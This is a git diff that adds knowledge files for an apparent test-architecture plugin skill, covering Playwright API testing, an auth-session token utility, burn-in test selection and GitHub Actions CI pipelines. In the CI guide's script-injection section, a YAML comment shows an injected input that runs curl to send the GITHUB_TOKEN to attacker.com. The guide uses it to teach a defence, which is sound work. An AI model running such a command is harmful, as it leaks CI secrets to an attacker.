+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
